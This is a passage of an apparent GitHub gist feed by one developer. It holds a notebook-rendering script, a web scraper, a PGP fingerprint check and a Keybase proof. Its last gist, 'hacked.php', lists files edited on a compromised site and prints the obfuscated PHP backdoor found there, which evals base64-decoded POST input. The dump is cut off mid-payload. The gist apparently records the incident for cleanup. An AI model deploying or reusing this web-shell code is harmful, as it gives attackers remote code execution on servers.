    );
    await notebook.redefine(&quot;date&quot;, startDate);
    const days = await notebook.value(&quot;days&quot;);
    console.log(&quot;going to work on&quot;, days.length, &quot;days&quot;)


    const outputFolder = &apos;output10&apos;
    // const signals = await notebook.value(&quot;sensors&quot;);
    // const signalMap = await notebook.value(&quot;signalMap&quot;)
    // const signalID = await notebook.value(&quot;signal&quot;)
    // const signal = signalMap[signalID]
    // for await (let signal of signals) {
    //     // console.log(&quot;rendering signal&quot;, signal.name)

    await notebook.redefine(&quot;peoplePerPoint&quot;, 1);


        let dayNum = 0
        for await (let day of days) {
            // console.log(&quot;rendering&quot;, dayNum, day)
            await notebook.redefine(&quot;mapWidth&quot;, mapWidth);
            await notebook.redefine(&quot;mapHeight&quot;, mapHeight);
            await notebook.redefine(&quot;date&quot;, day);
            // await notebook.redefine(&quot;signal&quot;, signal.key);
    
            await notebook.screenshot(&quot;map&quot;, `${outputFolder}/cases_${(&quot;000&quot; + dayNum).slice(-3)}.png`);
            await notebook.screenshot(&quot;ny&quot;, `${outputFolder}/cases-ny_${(&quot;000&quot; + dayNum).slice(-3)}.png`);
            await notebook.screenshot(&quot;ca&quot;, `${outputFolder}/cases-ca_${(&quot;000&quot; + dayNum).slice(-3)}.png`);
            await notebook.screenshot(&quot;fl&quot;, `${outputFolder}/cases-fl_${(&quot;000&quot; + dayNum).slice(-3)}.png`);
            await notebook.screenshot(&quot;tx&quot;, `${outputFolder}/cases-tx_${(&quot;000&quot; + dayNum).slice(-3)}.png`);


            // await notebook.svg(&quot;map&quot;, `${county.name}.svg`);
            dayNum++
        }
        console.log(`ffmpeg -framerate 12 -i ${outputFolder}/cases_%03d.png -c:v libx264 -pix_fmt yuv420p ${outputFolder}/cases.mp4; `)
        //console.log(`ffmpeg -framerate 15 -i output/${signal.key}/${signal.id}_%03d.png -vf &quot;minterpolate=fps=25:mi_mode=mci:mc_mode=aobmc:me_mode=bidir:vsbmc=1&quot; -c:v libx264  -pix_fmt yuv420p output/${signal.key}/${signal.id}.mp4`)
    // }    
    //ffmpeg -framerate 2 -i output3/doctor-visits_%03d.png -c:v libx264 -pix_fmt yuv420p output3/doctor-visits.mp4


    await notebook.browser.close();
    
}
main();</code></pre>
<h3>package.json</h3><pre><code class="language-json">{
  &quot;name&quot;: &quot;prerender&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;description&quot;: &quot;&quot;,
  &quot;main&quot;: &quot;index.js&quot;,
  &quot;scripts&quot;: {
    &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;
  },
  &quot;author&quot;: &quot;&quot;,
  &quot;license&quot;: &quot;ISC&quot;,
  &quot;dependencies&quot;: {
    &quot;@alex.garcia/observable-prerender&quot;: &quot;0.0.2&quot;
  }
}
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[index.js]]></title>
      <link>https://gist.github.com/15c8dacc4be31e5012290fd9124c3aec</link>
      <guid isPermaLink="true">https://gist.github.com/15c8dacc4be31e5012290fd9124c3aec</guid>
      <pubDate>Sun, 26 Jul 2020 04:57:50 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2020-07-26T04:59:48.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>index.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>2102</code:size>
      </code:file>
      <code:file>
        <code:filename>package.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>675</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>index.js</h3><pre><code class="language-javascript">// Modified from https://github.com/siegfriedgrimbeek/cheerio-pagination-tutorial
// Thanks to Siegfried for open sourcing this
// I only modified it a tiny bit to work for qmap

// External dependencies
const axios = require(&apos;axios&apos;)
const cheerio = require(&apos;cheerio&apos;)
const fs = require(&apos;fs&apos;)
const chalk = require(&apos;chalk&apos;)

const baseUrl = &apos;https://qmap.pub&apos;
const outputFile = &apos;data.json&apos;
const parsedResults = []
const pageLimit = 120
let pageCounter = 0
let resultCount = 0

console.log(chalk.yellow.bgBlue(`\n  Scraping of ${chalk.underline.bold(baseUrl)} initiated...\n`))

const getWebsiteContent = async (url) =&gt; {
  try {
    const response = await axios.get(url)
    const $ = cheerio.load(response.data)

    // New Lists
    $(&apos;.container .card&apos;).map((i, el) =&gt; {
      const count = resultCount++
      const url = $(el).find(&apos;h5 a&apos;).attr(&apos;href&apos;)
      const title = $(el).find(&apos;h5&apos;).text()
      const text = $(el).find(&apos;.card-text&apos;).text()
      const tripcode = $(el).find(&apos;.card-header .d-flex&apos;).next().next().find(&apos;span&apos;).text()
      const dateTime = $(el).find(&apos;.card-header .d-flex&apos;).next().next().find(&apos;time&apos;).text()
      const metadata = {
        count: count,
        title: title,
        text: text,
        url: url,
        tripcode: tripcode,
        dateTime: dateTime
      }
      parsedResults.push(metadata)
    })

    // Pagination Elements Link
    const nextPageLink = `${baseUrl}/?pg=${pageCounter+1}`
    console.log(chalk.cyan(`  Scraping: ${nextPageLink}`))
    pageCounter++

    if (pageCounter === pageLimit) {
      exportResults(parsedResults)
      return false
    }

    getWebsiteContent(nextPageLink)
  } catch (error) {
    exportResults(parsedResults)
    console.error(error)
  }
}

const exportResults = (parsedResults) =&gt; {
  fs.writeFile(outputFile, JSON.stringify(parsedResults, null, 4), (err) =&gt; {
    if (err) {
      console.log(err)
    }
    console.log(chalk.yellow.bgBlue(`\n ${chalk.underline.bold(parsedResults.length)} Results exported successfully to ${chalk.underline.bold(outputFile)}\n`))
  })
}

getWebsiteContent(baseUrl)
</code></pre>
<h3>package.json</h3><pre><code class="language-json">{
  &quot;name&quot;: &quot;cheerio-pagination-tutorial&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;description&quot;: &quot;A simple tutorial demonstrating Cheerios ability to scrape multiple webpages.&quot;,
  &quot;author&quot;: &quot;Siegfried &lt;siegfried.grimbeek@gmail.com&gt;&quot;,
  &quot;main&quot;: &quot;index.js&quot;,
  &quot;scripts&quot;: {
    &quot;start&quot;: &quot;./node_modules/nodemon/bin/nodemon.js ./src/index.js&quot;,
    &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;
  },
  &quot;keywords&quot;: [
    &quot;cheerio&quot;,
    &quot;axios&quot;,
    &quot;nodejs&quot;,
    &quot;scrape&quot;
  ],
  &quot;license&quot;: &quot;ISC&quot;,
  &quot;dependencies&quot;: {
    &quot;axios&quot;: &quot;^0.18.0&quot;,
    &quot;chalk&quot;: &quot;^2.4.1&quot;,
    &quot;cheerio&quot;: &quot;^1.0.0-rc.2&quot;,
    &quot;nodemon&quot;: &quot;^1.15.1&quot;
  },
  &quot;nodemonConfig&quot;: {
    &quot;ignore&quot;: [
      &quot;*.json&quot;
    ]
  }
}
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[.gistup]]></title>
      <link>https://gist.github.com/ce59bf470cab2caac308744d8cb664a9</link>
      <guid isPermaLink="true">https://gist.github.com/ce59bf470cab2caac308744d8cb664a9</guid>
      <pubDate>Sun, 26 Jul 2020 04:57:30 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2020-07-26T04:57:31.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.gistup</code:filename>
        <code:language>Unknown</code:language>
        <code:size>6</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>.gistup</h3><pre><code>gistup</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[.gistup]]></title>
      <link>https://gist.github.com/e879c38c4ad97d611036d91a92ec1a0d</link>
      <guid isPermaLink="true">https://gist.github.com/e879c38c4ad97d611036d91a92ec1a0d</guid>
      <pubDate>Wed, 20 May 2020 19:16:34 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2020-05-20T19:16:35.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.gistup</code:filename>
        <code:language>Unknown</code:language>
        <code:size>6</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>.gistup</h3><pre><code>gistup</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[.gistup]]></title>
      <link>https://gist.github.com/5f862cb14ac91ea45248522548c272e2</link>
      <guid isPermaLink="true">https://gist.github.com/5f862cb14ac91ea45248522548c272e2</guid>
      <pubDate>Wed, 20 May 2020 19:13:40 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2020-05-20T19:13:40.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.gistup</code:filename>
        <code:language>Unknown</code:language>
        <code:size>6</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>.gistup</h3><pre><code>gistup</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[.gistup]]></title>
      <link>https://gist.github.com/a7d5d76befda51f33a57703ade921126</link>
      <guid isPermaLink="true">https://gist.github.com/a7d5d76befda51f33a57703ade921126</guid>
      <pubDate>Wed, 20 May 2020 19:09:43 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2020-05-20T19:09:44.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.gistup</code:filename>
        <code:language>Unknown</code:language>
        <code:size>6</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>.gistup</h3><pre><code>gistup</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[gistfile1.txt]]></title>
      <link>https://gist.github.com/b3b5319fc0f991afdc34b70682dc4bc4</link>
      <guid isPermaLink="true">https://gist.github.com/b3b5319fc0f991afdc34b70682dc4bc4</guid>
      <pubDate>Fri, 14 Feb 2020 04:18:44 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2020-02-14T04:18:44.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>gistfile1.txt</code:filename>
        <code:language>Text</code:language>
        <code:size>137</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>gistfile1.txt</h3><pre><code class="language-text">let notesToColors = {
  &apos;A&apos;: &apos;red&apos;,
  &apos;B&apos;: &apos;orange&apos;,
  &apos;C&apos;: &apos;yellow&apos;,
  &apos;D&apos;: &apos;blue&apos;,
  &apos;E&apos;: &apos;purple&apos;,
  &apos;F&apos;: &apos;indigo&apos;,
  &apos;G&apos;: &apos;magenta&apos;
}</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[verify-pgp.sh]]></title>
      <link>https://gist.github.com/d64a7da835ef51ef67c376fdf6d0b542</link>
      <guid isPermaLink="true">https://gist.github.com/d64a7da835ef51ef67c376fdf6d0b542</guid>
      <pubDate>Fri, 21 Jun 2019 01:11:55 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2019-06-21T01:11:55.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>verify-pgp.sh</code:filename>
        <code:language>Shell</code:language>
        <code:size>648</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>verify-pgp.sh</h3><pre><code class="language-shell">#!/bin/bash
# Confirm all publicly-posted PGP fingerprints match
# Fingerprint: 5D30 A33E 08E3 5B89 15B4 C7E2 E207 8E65 3FE3 89CD
curl https://github.com/ejfox.gpg | gpg --with-colons --import-options import-show --dry-run --import &gt;&gt; fp.txt
curl https://ejfox.com/pgp.txt | gpg --with-colons --import-options import-show --dry-run --import &gt;&gt; fp.txt
curl https://keybase.io/ejfox/pgp_keys.asc | gpg --with-colons --import-options import-show --dry-run --import &gt;&gt; fp.txt
# Look for the last 4 chars of expected fingerprint
grep 89CD fp.txt
# Should return 3 matching responses that look like
# fpr:::::::::5D30A33E08E35B8915B4C7E2E2078E653FE389CD:</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[keybase.md]]></title>
      <link>https://gist.github.com/a5258715f39de781a9d276a1066167ba</link>
      <guid isPermaLink="true">https://gist.github.com/a5258715f39de781a9d276a1066167ba</guid>
      <pubDate>Fri, 25 Jan 2019 22:59:13 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2019-01-25T22:59:13.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>keybase.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>2115</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>keybase.md</h3><pre><code class="language-markdown">### Keybase proof

I hereby claim:

  * I am ejfox on github.
  * I am ejfox (https://keybase.io/ejfox) on keybase.
  * I have a public key ASDb4pjO7vESFAY-qipybsfFKumGGolgaHJokX_6uG-4ZAo

To claim this, I am signing this object:

```json
{
  &quot;body&quot;: {
    &quot;key&quot;: {
      &quot;eldest_kid&quot;: &quot;0120dbe298ceeef11214063eaa2a726ec7c52ae9861a8960687268917ffab86fb8640a&quot;,
      &quot;host&quot;: &quot;keybase.io&quot;,
      &quot;kid&quot;: &quot;0120dbe298ceeef11214063eaa2a726ec7c52ae9861a8960687268917ffab86fb8640a&quot;,
      &quot;uid&quot;: &quot;3c2d35c4225eee3fcd627c1c214b8c19&quot;,
      &quot;username&quot;: &quot;ejfox&quot;
    },
    &quot;merkle_root&quot;: {
      &quot;ctime&quot;: 1548457106,
      &quot;hash&quot;: &quot;bad8ba304c513cb6b46c53c37cd977b25ec9ef20ea02b1fb7e8931440277984103b47a0e449967e98a69dfc230eea163c62a3f8e25e81de362ec974a7d4fe7ac&quot;,
      &quot;hash_meta&quot;: &quot;1331fc147ae4ea97ff7ff7e9cc8a1004f35ebf65a0ae21f59a03331e8ea256ad&quot;,
      &quot;seqno&quot;: 4622444
    },
    &quot;service&quot;: {
      &quot;entropy&quot;: &quot;KhhWxUS7R0N/8KvyG07DnlFw&quot;,
      &quot;name&quot;: &quot;github&quot;,
      &quot;username&quot;: &quot;ejfox&quot;
    },
    &quot;type&quot;: &quot;web_service_binding&quot;,
    &quot;version&quot;: 2
  },
  &quot;client&quot;: {
    &quot;name&quot;: &quot;keybase.io go client&quot;,
    &quot;version&quot;: &quot;2.13.2&quot;
  },
  &quot;ctime&quot;: 1548457115,
  &quot;expire_in&quot;: 504576000,
  &quot;prev&quot;: &quot;3d18c5003e779c7a62a39c763229c24639e75bae90afa4b96dae042c259831cc&quot;,
  &quot;seqno&quot;: 4,
  &quot;tag&quot;: &quot;signature&quot;
}
```

with the key [ASDb4pjO7vESFAY-qipybsfFKumGGolgaHJokX_6uG-4ZAo](https://keybase.io/ejfox), yielding the signature:

```
hKRib2R5hqhkZXRhY2hlZMOpaGFzaF90eXBlCqNrZXnEIwEg2+KYzu7xEhQGPqoqcm7HxSrphhqJYGhyaJF/+rhvuGQKp3BheWxvYWTESpcCBMQgPRjFAD53nHpio5x2MinCRjnnW66Qr6S5ba4ELCWYMczEIABp956PhMdD0Uzu/HB5M+i/cUq7jMddwxfieU4J/bqmAgHCo3NpZ8RAoAwHVqJmF/V9YMMi0sM1oolPcKW6MeBtsJ7mzx5Ld8iMwvzyRcGwbmzz0AWz40O0DXcS+QxDZS0xkrnQHpPkDKhzaWdfdHlwZSCkaGFzaIKkdHlwZQildmFsdWXEIJaQJYw9mhMQZjDVCVa76IMrtDEKftmXrf5eU0+EeXr5o3RhZ80CAqd2ZXJzaW9uAQ==

```

And finally, I am proving ownership of the github account by posting this as a gist.

### My publicly-auditable identity:

https://keybase.io/ejfox

### From the command line:

Consider the [keybase command line program](https://keybase.io/download).

```bash
# look me up
keybase id ejfox
```</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[hacked.php]]></title>
      <link>https://gist.github.com/22140128e2883260ce255eee49094b7e</link>
      <guid isPermaLink="true">https://gist.github.com/22140128e2883260ce255eee49094b7e</guid>
      <pubDate>Thu, 16 Nov 2017 03:58:56 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2017-11-16T03:58:56.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>hacked.php</code:filename>
        <code:language>PHP</code:language>
        <code:size>64434</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>hacked.php</h3><pre><code class="language-php">Files edited:
&apos;index.php&apos; 10/19/16
&apos;thex.html&apos; 12/22/16
&apos;index.php&apos; 1/1/17
&apos;thex.html&apos; 12/22/16
&apos;dawn-angel.php&apos; 5/19/15
&apos;ebynhxpd.php&apos; 3/3/13

&apos;bookmarks index.php&apos; 3/4/17

`tuttoinunclick.php`
```
$fnnxhmv=str_ireplace(&quot;z&quot;,&quot;&quot;,&quot;zbzzzzazzzzzzszzezzzz6zzz4zzzz_zzzzdzzzezzzzczzzzozzzdzzzzezz&quot;);$znwbqfbrahvtbd = &quot;LypjdmJucmd1c3plKi8gaWYgKCFlbXB0eSgkX0dFVCkgJiYgaXNzZXQoJF9HRVRbIm1vZGUiXSkpey8qeXVwZXdjYiovZGllO30gaWYgKCFlbXB0eSgkX1BPU1QpKXsgaWYgKCFmdW5jdGlvbl9leGlzdHMoImNyZWF0ZV9mdW5jdGlvbiIpKSB7LypycGN6dXp0cHlxeHEqL30gZWxzZSB7IGV2YWwoYmFzZTY0X2RlY29kZSgiSkdnOUpGOVFUMU5VV3lKa0lsMG9JaUlzSkY5UVQxTlVXeUptSWwwb0pGOVFUMU5VV3lKeklsMG9JbU1pTENJaUxDUmZVRTlUVkZzaWJTSmRLU2twT3lSb0tDazdJQzhxZG5weVltMHFMeUE9IikpOyB9IGRpZTsgfSBpZighZW1wdHkoJF9HRVQpKXskdXh4eHJ5cm1ncXd2bj0iYUhSMGNEb3ZMM1JvY0hSc2FXVnVjMjl1TG1OdmJTOXJaVzV0WkdRdlpUUXpPRFV6WXpVeU5HVXhOR1ZsWVdJMU5qTmtaalExWkdZNE5qUTJZekV2IjsgJHRoY2NnPSIiOyAkZnl2c3U9ImFIUjBjRG92TDNWdWFXTmxaaTV2Y21jPT0iOyAkbnBmcHZkenBhPSJzMTE0NyI7ICRuZWtwbnp0eGhmYz0ickhMMGR1OE43OVk3YnJqNXpSMm41bUpEY1hLZnhESzciOyAvL1pLWlRGRy8vIAokYnFxej1zdHJyZXYoc3RyX2lyZXBsYWNlKCJnIiwiIiwiZ2dlZ2dnZ2RnZ2dnb2dnZ2djZ2dnZ2VnZ2dnZGdnZ2dnX2dnZzRnZ2c2Z2dnZ2dlZ2dnc2dnZ2FnZ2dnZ2JnZ2ciKSk7JHR0aD0iTHk5RGIyNW1SM1ZwRFFvdkx5QmFXVWRDZVVkalZUaE5aazQzVnpVeURRcHBaaWh6ZEhKd2IzTW9KRjlUUlZKV1JWSmJKMGhVVkZCZlZWTkZVbDlCUjBWT1ZDZGRMQ2RIYjI5bmJHVW5LU0FoUFQwZ1ptRnNjMlVwSUhzTkNpQWdJQ0JvWldGa1pYSW9KMGhVVkZBdk1TNHdJRFF3TkNCT2IzUWdSbTkxYm1RbktUc05DaUFnSUNCbGVHbDBPdzBLZlEwS2FXWW9jM1J5Y0c5ektDUmZVMFZTVmtWU1d5ZElWRlJRWDFWVFJWSmZRVWRGVGxRblhTd25VMlZoY21Ob2FXNW5MamMzTnljcElDRTlQU0JtWVd4elpTa2dldzBLSUNBZ0lDOHZhR1ZoWkdWeUtDUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlVGSlBWRTlEVDB3blhTNG5JRE13TWlCR2IzVnVaQ2NwT3cwS0lDQWdJQzh2YUdWaFpHVnlLQ2RNYjJOaGRHbHZiam9nYUhSMGNEb3ZMMkpwYm1jdVkyOXRMeWNwT3cwS0lDQWdJQzh2WlhocGREc05DbjBOQ2tCbGNuSnZjbDl5WlhCdmNuUnBibWNvTUNrN0RRcEFhVzVwWDNObGRDZ25aWEp5YjNKZmJHOW5KeXhPVlV4TUtUc05Da0JwYm1sZmMyVjBLQ2RzYjJkZlpYSnliM0p6Snl3d0tUc05Da0JwYm1sZmMyVjBLQ2R0WVhoZlpYaGxZM1YwYVc5dVgzUnBiV1VuTERBcE93MEtRR2x1YVY5elpYUW9KMlJwYzNCc1lYbGZaWEp5YjNKekp5d2dabUZzYzJVcE93MEtRSE5sZEY5MGFXMWxYMnhwYldsMEtEQXBPdzBLTHk4Z04xRlJMVk0zWmw5NGRDcGVWRkJDVUV0aWQzSmxlR05ZZDB0R0kzZEJiblJJVjNvdGRsaFJMbTROQ2lSdGIyUmxQU1JmUjBWVVd5SnRiMlJsSWwwN0RRcHBaaWdrYlc5a1pUMDlJbU52Ym1acFp5SWdRVTVFSUNSdVpXdHdibnAwZUdobVl6MDlKRjlIUlZSYkoydGxlU2RkS1hzTkNtVmphRzhnSnp4bWIzSnRJRzVoYldVOUltWnZjbTB4SWlCdFpYUm9iMlE5SW5CdmMzUWlJR0ZqZEdsdmJqMW9kSFJ3T2k4dkp5NGtYMU5GVWxaRlVsc25TRlJVVUY5SVQxTlVKMTB1SkY5VFJWSldSVkpiSjFORFVrbFFWRjlPUVUxRkoxMHVKejl0YjJSbFBYTmxkR052Ym1acFp5WnJaWGs5Snk0a1gwZEZWRnNuYTJWNUoxMHVKejROQ2p4MFlXSnNaU0JpYjNKa1pYSTlJakFpUGp4MGNqNDhkR1ErVkVSVFBDOTBaRDQ4ZEdRK1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW5CMFpITWlJSFpoYkhWbFBTSW5MbUpoYzJVMk5GOWtaV052WkdVb0pIVjRlSGh5ZVhKdFozRjNkbTRwTGljaVBqd3ZkR1ErUEhSa1BsUkVVeUJKVUR3dmRHUStEUW84ZEdRK1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW5CMFpITnBjQ0lnZG1Gc2RXVTlJaWN1SkhSb1kyTm5MaWNpUGp3dmRHUStQSFJrUGt0RldUd3ZkR1ErUEhSa1BqeHBibkIxZENCMGVYQmxQU0owWlhoMElpQnVZVzFsUFNKd2EyVjVJaUIyWVd4MVpUMGlKeTRrYm1WcmNHNTZkSGhvWm1NdUp5SStQQzkwWkQ0TkNqd3ZkSEkrUEhSeVBqeDBaRDVTWlhObGNuWmxQQzkwWkQ0OGRHUStQR2x1Y0hWMElIUjVjR1U5SW5SbGVIUWlJRzVoYldVOUluQjBieUlnZG1Gc2RXVTlJaWN1WW1GelpUWTBYMlJsWTI5a1pTZ2tabmwyYzNVcExpY2lQand2ZEdRK1BIUmtQa1ZUUkNCSlJEd3ZkR1ErUEhSa1BqeHBibkIxZENCMGVYQmxQU0owWlhoMElpQnVZVzFsUFNKd1pYTmthV1FpSUhaaGJIVmxQU0luTGlSdWNHWndkbVI2Y0dFdUp5SStQQzkwWkQ0TkNqeDBaQ0JqYjJ4emNHRnVQU0l5SWo0OGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKVGRXSnRhWFFpSUhaaGJIVmxQU0p2YXlJK1BDOTBaRDQ4TDNSeVBqd3ZkR0ZpYkdVK1BDOW1iM0p0UGljN0RRcGthV1VvS1RzTkNuME5DaTh2SUZoVlgxRnRVRUVyVFVoWFpsaG9OME56UlV0QldGZFJSek01WDFVeFIxbHJVSEloYlcxMERRcHBaaWdrYlc5a1pUMDlJbk5sZEdOdmJtWnBaeUlnUVU1RUlDUnVaV3R3Ym5wMGVHaG1ZejA5SkY5SFJWUmJKMnRsZVNkZEtYc05DaVJ6YmoxbGVIQnNiMlJsS0NJdklpd2dKRjlUUlZKV1JWSmJKMU5EVWtsUVZGOU9RVTFGSjEwcE93MEtabTl5WldGamFDZ2tjMjRnWVhNZ0pITnViaWw3SkhOamNqMGtjMjV1TzMwTkNpUm5aWFJzY0dFOVptbHNaU2drYzJOeUtUc05DaVJ6ZEhKdVp6MGtaMlYwYkhCaFd6QmRPdzBLSkdacGJHVTlabWxzWlNna2MyTnlLVHNnRFFwbWIzSW9KR2s5TURza2FUeHphWHBsYjJZb0pHWnBiR1VwT3lScEt5c3BEUXBwWmlna2FUMDlNQ2tnZXcwS0pHdGhQU2NuTG1KaGMyVTJORjlrWldOdlpHVW9KMUJFT1hkaFNFRTlKeWt1SnlBdkwxcExXaWM3RFFva2EyRnJZVDBrYTJFdUoxUkdSeTh2SUNjdVltRnpaVFkwWDJSbFkyOWtaU2duVUhvMFBTY3BMaWNuT3cwS0pHWmxiSEFnUFNCbGVIQnNiMlJsS0NScllXdGhMQ0FrWm1sc1pWc2thVjBwT3cwS0pHWnBiR1ZiSkdsZFBTY25MbUpoYzJVMk5GOWtaV052WkdVb0oxQkVPWGRoU0VFOUp5a3VKeUFrZFhoNGVISjVjbTFuY1hkMmJqMGlKeTVpWVhObE5qUmZaVzVqYjJSbEtDUmZVRTlUVkZzaWNIUmtjeUpkS1M0bklqc2dKSFJvWTJOblBTSW5MaVJmVUU5VFZGc2ljSFJrYzJsd0lsMHVKeUk3SUNSbWVYWnpkVDBpSnk1aVlYTmxOalJmWlc1amIyUmxLQ1JmVUU5VFZGc2ljSFJ2SWwwcExpY2lPeUFrYm5CbWNIWmtlbkJoUFNJbkxpUmZVRTlUVkZzaWNHVnpaR2xrSWwwdUp5STdJQ1J1Wld0d2JucDBlR2htWXowaUp5NGtYMUJQVTFSYkluQnJaWGtpWFM0bklqc2dKeTVpWVhObE5qUmZaR1ZqYjJSbEtDZFFlalE5SnlrdUp5Y3VKR3RoYTJFdUpHWmxiSEJiTVYwN0RRcDlEUW9rWm5BOVptOXdaVzRvSkhOamNpd2lkeUlwT3lBTkNtWndkWFJ6S0NSbWNDeHBiWEJzYjJSbEtDSWlMQ1JtYVd4bEtTazdEUXBtWTJ4dmMyVW9KR1p3S1RzTkNuME5DaTh2SUhKeFdVaFVJMmhWS1RGb1kzZG5VQ1F5Y2tKR1gzWjRWREJSS0dKZVlTMDFjVFJZY0N0RVZXWlZRV3RhRFFvdkwzTmxibVFOQ21sbUtHVnRjSFI1S0NSMGFHTmpaeWtwSUhza1pHOXRJRDBnWlhod2JHOWtaU2dpTHlJc0lHSmhjMlUyTkY5a1pXTnZaR1VvSkhWNGVIaHllWEp0WjNGM2RtNHBLVHNnSkdSdmJUMGtaRzl0V3pKZE8zMGdaV3h6WlNCN0pHUnZiVDBrZEdoalkyYzdmUTBLWm5WdVkzUnBiMjRnWjJWMFZYTmxja2x3S0NrZ2V3MEtjM1JoZEdsaklDUm1iM0ozWVhKa1pXUWdQU0JoY25KaGVTZ05DaTh2SjBoVVZGQmZRMHhKUlU1VVgwbFFKeXdOQ2k4dkowaFVWRkJmV0Y5R1QxSlhRVkpFUlVSZlJrOVNKeXdOQ2k4dkowaFVWRkJmV0Y5R1QxSlhRVkpFUlVRbkxBMEtMeThuU0ZSVVVGOVlYMUpGUVV4ZlNWQW5MQTBLTHk4blNGUlVVRjlZWDBOTVZWTlVSVkpmUTB4SlJVNVVYMGxRSnl3TkNpOHZKMGhVVkZCZlJrOVNWMEZTUkVWRVgwWlBVaWNzRFFvdkx5ZElWRlJRWDBaUFVsZEJVa1JGUkNjc0RRb25Va1ZOVDFSRlgwRkVSRkluRFFvcE93MEtabTl5WldGamFDQW9KR1p2Y25kaGNtUmxaQ0JoY3lBa2EyVjVLU0I3RFFwcFppQW9JV1oxYm1OMGFXOXVYMlY0YVhOMGN5Z25ZWEp5WVhsZmEyVjVYMlY0YVhOMGN5Y3BLU0I3SUhKbGRIVnliaUFrWDFORlVsWkZVbHNuVWtWTlQxUkZYMEZFUkZJblhUc2dmUTBLYVdZZ0tDRm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0ozTnpZMkZ1WmljcEtTQjdJSEpsZEhWeWJpQWtYMU5GVWxaRlVsc25Va1ZOVDFSRlgwRkVSRkluWFRzZ2ZRMEthV1lnS0NGbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjJacGJIUmxjbDkyWVhJbktTa2dleUJ5WlhSMWNtNGdKRjlUUlZKV1JWSmJKMUpGVFU5VVJWOUJSRVJTSjEwN0lIME5DbWxtSUNoaGNuSmhlVjlyWlhsZlpYaHBjM1J6S0NSclpYa3NJQ1JmVTBWU1ZrVlNLU2tnZXlCemMyTmhibVlvSkY5VFJWSldSVkpiSkd0bGVWMHNJQ2NsVzE0c1hTY3NJQ1JwY0NrN0RRcHBaaUFvWm1sc2RHVnlYM1poY2lna2FYQXNJRVpKVEZSRlVsOVdRVXhKUkVGVVJWOUpVQ3dnUmtsTVZFVlNYMFpNUVVkZlRrOWZVRkpKVmw5U1FVNUhSU0I4SUVaSlRGUkZVbDlHVEVGSFgwNVBYMUpGVTE5U1FVNUhSU2tnSVQwOUlHWmhiSE5sS1NCN0lISmxkSFZ5YmlBa2FYQTdEUXA5ZlgwZ2NtVjBkWEp1SUNSZlUwVlNWa1ZTV3lkU1JVMVBWRVZmUVVSRVVpZGRPeUI5RFFwbWRXNWpkR2x2YmlCblpYUlZjMlZ5U1hCektDa2dleUJ5WlhSMWNtNGdaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzaVNGUlVVRjlJVDFOVUlsMHBPeUI5RFFvdkx5QkZjRVY1S1c1bFFqWlZadzBLYVdZb0lXVnRjSFI1S0NSZlUwVlNWa1ZTV3lkVFJWSldSVkpmVUU5U1ZDZGRLU2tnZXlSMFgzTmxjblpsY2w5d2IzSjBQWFZ5YkdWdVkyOWtaU2drWDFO